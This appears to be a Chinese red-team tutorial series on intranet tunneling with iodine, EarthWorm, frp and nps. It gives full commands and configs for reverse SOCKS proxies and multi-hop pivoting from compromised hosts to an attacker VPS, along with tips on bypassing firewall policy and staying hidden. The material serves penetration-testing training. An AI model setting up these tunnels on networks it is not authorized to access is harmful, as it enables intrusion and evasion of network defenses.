内网穿透工具

9、iodine 使用

1、介绍

iodine 这个名字起的很有意思,iodine 翻译过来就是碘,碘的原子序数为 53,53 也就是 DNS 服务对应的端口号。

iodine 和 dnscat2 一样,适合于其他请求方式被限制以至于只能发送 DNS 请求的环境中,iodine 同样也是分成了直接转发和中继两种模式。

iodine 与 dnscat2 不同的在于 Iodine 服务端和客户端都是用 C 语言开发,同时 iodine 的原理也有些不同,iodine 通过 TAP 在服务端和客户端分别建立一个局域网和虚拟网卡,再通过 DNS 隧道进行连接,然后使其处在同一个局域网中。

2、安装

首先需要有一个域名,并设置 NS 和 A 记录,A 记录指向自己的公网 VPS 地址,NS 记录指向 A 记录的子域名。

Kali 下自带 iodine ,Debian Linux 可以使用 apt 进行安装

sudo apt-get install iodine

Windows 可以直接到官网下载,下载地址:https://code.kryo.se/iodine/,服务端名称是 iodined.exe,客户端是 iodine.exe

3、使用

这里服务端使用的是 Linux,服务端命令如下:

sudo iodined -f -c -P teamssix 192.168.77.1 dc.teamssix.com -DD
 -f     在前台运行
 -c     不检查传入请求的客户端 IP 地址
 -P     客户端与服务端之间的连接密码
 -D     调试级别,-D 表示第一级,-DD 表示第二级,依此类推
 
 192.168.77.1 是自己自定义的局域网虚拟 IP 地址。

这里客户端使用的是 Windows,Windows 客户端上除了要有 iodine 相关文件外,还需要安装 tap 网卡驱动程序,这里我百度找了一个下载地址 http://www.qudong51.net/qudong/981.html

打开下载好的 tap 网卡驱动程序,一直下一步下一步安装就行。

然后就可以启动客户端程序了,注意下载下来的 dll 文件要和 exe 在一个目录下,不能只复制一个 exe 到目标主机上,而且要以管理员权限运行下面的命令。

.\iodine.exe -f -r -P teamssix dc.teamssix.com
-r      iodine 有时会自动将 DNS 隧道切换成 UDP 通道,使用 -r 命令可以强制让 iodine 在任何情况下都使用 DNS 隧道

如果出现 Connection setup complete, transmitting data. 就表示 DNS 隧道就已经建立了。

这时如果去 ping 服务端自定义的虚拟 IP 也是可以 ping 通的。

假如这里内网机器分配到了 192.168.77.2 这个 IP ,因为处在一个局域网中,所以 VPS 直接访问 192.168.77.2 的 3389、80 等端口就可以直接访问到内网机器的相关端口了,同样的内网主机也可以访问 VPS 的 22 端口等等,至此便绕过了策略限制。

原文链接:

https://teamssix.com/year/210608-213403.html

参考文章: https://www.cnblogs.com/micr067/p/12263337.html

10、ew 的使用

1、Socks 代理工具介绍

Socks 代理可以理解成升级版的 lcx,关于 lcx 的用法可以看我之前的文章:

https://teamssix.com/year/210528-130449.html

但是 lcx 毕竟年代久远,现在的杀软基本也都能识别到了,因此在实战中不太推荐使用 lcx ,更推荐使用这些 socks 代理工具。

常见的 socks 代理工具有 ew、termite、frp、nps、sSocks、reGeorg、Neo-reGeorg、SocksCap、Proxifier、ProxyChains 等等,不同的工具适合使用的场景和方法都有所不同。

因为在这其中有些工具笔者较经常使用,所以这里主要记录下 ew、frp、nps 的使用方法,本篇文章主要记录 ew 的使用,后续文章将更新 frp、nps 的使用。

开始之前,先理解下正向代理和反向代理的区别。

正向代理:主动通过代理访问目标主机,即攻击主机 --》目标主机

反向代理:目标机器通过代理进行主动连接,即目标主机 --》攻击主机

2、ew 的使用

ew 的项目主页:http://rootkiter.com/EarthWorm/

ew 全称 EarthWorm,直译过来就是蚯蚓,引用作者的原话是:

该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。

这个描述也是很形象了。

下载

作者已经不提供 ew 的下载了,但是搜了一下 github 还是有其他人上传的,不过病毒需自查。

下载地址:https://github.com/idlefire/ew

从这工具上传的时间是 5 年前就可以看出这个工具很有年代感了。

使用

该工具共有 6 种命令格式 ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran,正向连接的命令是 ssocked,反向连接的命令是 rcsocks 和 rssocks,其他命令用于一些比较复杂的网络环境中。

a、正向连接

正向连接需要目标主机有一个公网 IP,或者说攻击主机能够直接访问到目标主机。

命令也很简单

ew -s ssocksd -l 1080
 -s 设置状态模式
 -l 设置监听端口
> .\ew_for_Win.exe -s ssocksd -l 1080
ssocksd 0.0.0.0:1080 <--[10000 usec]--> socks server

然后使用 SocksCap、Proxifier、ProxyChains 等工具配置上目标主机的 IP 和监听端口即可,socks 要选择 socks5

b、反向连接

反向连接适合于目标没有公网 IP 的情况,这时就需要一台公网 vps 了,这里就直接以内网地址作为演示了。

在公网 VPS 上执行以下命令:

ew -s rcsocks -l 1080 -e 4444
 -e 设置反弹主机端口
> ./ew_for_linux64 -s rcsocks -l 1080 -e 4444

这条命令表示将 1080 端口接收到的数据转发到 4444 端口上。

在目标主机上执行以下命令:

ew -s rssocks -d vps_ip -e 4444
-d 设置反弹主机 IP
> .\ew_for_Win.exe -s rssocks -d 172.16.214.52 -e 4444

这条命令表示在本地开启 socks 5 服务,并反弹到 vps 的 4444 端口,如果代理建立成功,在 VPS 端就会看到 rssocks cmd_socket OK! 的提示。

最后,代理 vps 的 1080 端口就可以访问到目标主机的内网了。

c、二级网络环境(一)

有这样的一个网络环境,目标主机A有两个网卡,一个内网地址一个公网地址,但这个主机只能访问内网主机B不能访问其他内网资源,而内网主机B不能访问外网但是能访问内网资源。

在拿到这两台主机权限后,就可以使用 ew 进行二级跳板访问到内网资源。

内网主机A(有公网IP) --》内网主机B --》内网资源

在内网主机B上,开启正向连接代理

ew -s ssocksd -l 4444
> .\ew_for_Win.exe -s ssocksd -l 4444

在内网主机A上

ew -s lcx_tran -l 1080 -f hostB_ip -g 4444
> ./ew_for_linux64 -s lcx_tran -l 1080 -f 192.168.7.110 -g 4444

这条命令表示将 1080 端口收到的代理请求转发到内网主机 B 192.168.7.110 的 4444 端口,此时就可以通过访问内网主机 A 的外网 IP 的 1080 端口访问到内网主机 B 上架设的 socks5 代理了。

d、二级网络环境(二)

在上面的环境中,内网主机 A 有公网 IP,如果没有公网 IP 的情况下,又该怎么办呢?这时候就需要结合反向连接了,因此需要一台公网的 VPS 主机。

VPS --》内网主机A --》内网主机B --》内网资源

在公网 VPS 上

ew -s lcx_listen -l 1080 -e 4444
> ./ew_for_linux64 -s lcx_listen -l 1080 -e 4444
rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444
init cmd_server_for_rc here
start listen port here

表示将 1080 收到的 代理请求转发到 4444 端口上

在内网主机 B 上

ew -s ssocksd -l 5555
> .\ew_for_Win.exe -s ssocksd -l 5555

表示开启 5555 端口的正向代理

在内网主机 A 上

ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555
lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555

表示在内网主机 A 上使用 lcx_slave 的方式,将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来。

现在就可以通过 VPS 的 1080 端口访问到内网主机 A 再访问到内网主机 B ,最后访问到内网资源了。

e、三级网络环境

目前有这样的一个环境,内网主机 A 没有公网 IP 不能访问内网资源,但是可以访问外网和内网主机 B,内网主机 B 不能访问外网和内网资源,但是可以和 A、C 相互访问,内网主机 C 能访问内网资源,但是只能和内网主机 B 相互访问,因此如果想访问到内网资源就需要做三层跳板。

VPS --》内网主机 A --》内网主机 B --》内网主机 C

在公网 VPS 上,将 1080 端口收到的代理请求转发到 4444 端口

ew -s rcsocks -l 1080 -e 4444
> ./ew_for_linux64 -s rcsocks -l 1080 -e 4444
rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444
init cmd_server_for_rc here
start listen port here

在内网主机 A 上,将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来

ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555
lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555

在内网主机 B 上,将 5555 端口收到的代理请求转发到 6666 端口上

ew -s lcx_listen -l 5555 -e 6666
> .\ew_for_Win.exe -s lcx_listen -l 5555 -e 6666
rcsocks 0.0.0.0:5555 <--[10000 usec]--> 0.0.0.0:6666
init cmd_server_for_rc here
start listen port here

在内网主机 C 上,启动 socks5 服务,并反弹到 B 主机的 6666 端口上

ew -s rssocks -d 192.168.7.110 -e 6666
> .\ew_for_Win.exe -s rssocks -d 192.168.7.110 -e 6666
rssocks 192.168.7.110:6666 <--[10000 usec]--> socks server

至此,socks5 代理 VPS 的 1080 端口就会访问到内网资源了。

另外还有个 ew 的升级版工具叫 termite,不过比较遗憾的是 termite 在两年前也已经暂停更新了,这里也就不再大费周章的记录它了。

原文链接:

https://teamssix.com/year/210610-164507.html

11、frp 的使用

1、介绍

相较于前一篇文章介绍的 ew 的年代久远,frp 就好的多了,基本上隔几天就会发布新的版本,最新的一版更新还就在几天前。

在实战中,大家较多使用的也是 frp,frp 项目地址:https://github.com/fatedier/frp

至于下载安装直接在项目的 releases 里下载自己对应的系统版本就行。

2、使用

官方使用文档:https://gofrp.org/docs/

frp 分成服务端和客户端,分别叫 frps 和 frpc,配置文件分别对应 frps.ini 和 frpc.ini

以下环境均为本地环境,VPS IP 为 172.16.214.52,目标主机 IP 为 192.168.7.110

a、内网端口穿透

场景:内网主机可出网,想从公网访问内网主机的 3389 端口

在 VPS 上开启服务端,这里以 kali 为例,首先修改配置文件 frps.ini

[common]
bind_port = 4444

然后启动服务端

frps -c frps.ini
> ./frps -c frps.ini
2021/06/09 03:45:03 [I] [root.go:200] frps uses config file: frps.ini
2021/06/09 03:45:03 [I] [service.go:192] frps tcp listen on 0.0.0.0:4444
2021/06/09 03:45:03 [I] [root.go:209] frps started successfully

配置客户端配置文件

[common]
# 服务端 IP
server_addr = vps_ip
# 服务端端口
server_port = 4444

[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
# 连接 vps 的端口
remote_port = 3389
> .\frpc.exe -c frpc.ini
2021/06/09 15:50:29 [I] [service.go:304] [72904e8037a7fdf8] login to server success, get run id [72904e8037a7fdf8], server udp port [0]
2021/06/09 15:50:29 [I] [proxy_manager.go:144] [72904e8037a7fdf8] proxy added: [rdp]
2021/06/09 15:50:29 [I] [control.go:180] [72904e8037a7fdf8] [rdp] start proxy success

此时,在 vps 上访问本地的 3389 端口就会访问到内网主机的 3389 端口了。

b、建立 socks 代理

场景:内网主机可出网,想把内网主机作为跳板机使用

上面的场景只是利用 frp 访问了内网指定机器的指定端口,我们还可以利用 frp 将内网主机作为跳板机使用。

这次我们用上 frp 的 web 控制面板以及访问密码等功能,让我们建立的连接更加安全、方便。

在 VPS 上开启服务端,服务端配置文件如下:

[common]
bind_port = 4444

# 客户端认证 token
token = 123456

# 设置 frps 仪表盘端口、账号和密码,实战中用处貌似不大,但如果设置一定要设置强密码
dashboard_port = 8000
dashboard_user = admin
dashboard_pwd = password

实战中,为了更好的隐藏自己,最好还是要设置通过域名访问

配置好文件后,启动服务端

frps -c frps.ini
./frps -c frps.ini
2021/06/09 04:06:34 [I] [root.go:200] frps uses config file: frps.ini
2021/06/09 04:06:35 [I] [service.go:192] frps tcp listen on 0.0.0.0:4444
2021/06/09 04:06:35 [I] [service.go:294] Dashboard listen on 0.0.0.0:8000
2021/06/09 04:06:35 [I] [root.go:209] frps started successfully

配置客户端文件

[common]
server_addr = vps_ip
server_port = 4444

# 客户端认证 token,需要和服务端 token 保持一致
token = 123456


# 启用加密,防止流量被拦截
use_encryption = true
# 启用压缩,提升流量转发速度
use_compression = true

[socks5]
type = tcp
# 连接 vps 的端口
remote_port = 1080
plugin = socks5

开启客户端

frpc -c frpc.ini
> .\frpc.exe -c frpc.ini
2021/06/09 16:11:21 [I] [service.go:304] [ee7ad330ab4e6036] login to server success, get run id [ee7ad330ab4e6036], server udp port [0]
2021/06/09 16:11:21 [I] [proxy_manager.go:144] [ee7ad330ab4e6036] proxy added: [socks5]
2021/06/09 16:11:21 [I] [control.go:180] [ee7ad330ab4e6036] [socks5] start proxy success

测试 VPS IP 的 1080 的 socks5 代理,发现已经连通了。

打开 frps 仪表盘,登录后,可以看到当前连接数据的相关信息

frp 的参数远不止文章中提到的这些,更多功能可以参考下面的参考文章。

原文链接: https://teamssix.com/year/210611-171526.html

参考文章:

https://www.jianshu.com/p/331aa59fff5d

https://www.anquanke.com/post/id/184855

12、nps 的使用

1、介绍

nps 项目地址:https://github.com/ehang-io/nps

也是一款还在更新的内网穿透工具,相较于 frp,nps 的 web 管理就要强大很多了。

nps 和 frp 一样功能都很多,这里就主要记录下平时经常用到的 SOCKS5 代理模式。

2、安装

nps 不同于 frp 的开箱即用,nps 的服务端需要安装才能使用,这里以 kali 下的安装为例。

在 nps 项目的 releases 中下载好自己对应系统的版本后,解压安装

tar -zxvf linux_amd64_server.tar.gz
./nps install

3、使用

官方使用文档:https://ehang-io.github.io/nps

启动服务端,默认 Web 管理界面端口 8080

nps start

启动 nps 后,直接访问服务端的 8080 端口,输入默认密码 admin/123 进行登录,不难看出,这 web 界面确实比 frp 的丰富很多。

nps 的使用也很简单,界面语言也可选择中文。

首先新增一个客户端,点击 “客户端” --》“新增”,打开新增客户端页面,填写相关信息后,点击新增即可

新增之后,刷新一下可以看到刚刚添加的记录,点击刚刚新增记录里的“加号”还能直接看到在客户端上要运行的命令,这个可谓是很贴心了。

复制命令到客户端上运行,服务端这边就能看到目标已经上线了,连接状态也由离线变成了在线。

如果想创建一个 SOCKS5 代理也很简单,直接点击 “SOCKS 代理”--》“新增”,输入客户端的 ID 和代理的端口,然后新增即可。

之后直接设置 SOCKS5 代理 IP 为 nps 服务端 IP ,端口这里设置的是 1080,这样就建立了一个 SOCKS 代理,如果新增设置客户端的时候,设置了认证账号密码,那么在连接 SOCKS 代理的时候,也要添加上对应的账号和密码。

在这整个过程中都没有修改配置文件等等操作,真的是很方便了。

原文链接: https://teamssix.com/year/210612-213704.html

参考文章:

https://ehang-io.github.io/nps/

作者:TeamsSix 链接:https://www.jianshu.com/p/2fc44dd2b1e8 来源:简书 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

Last updated

Was this helpful?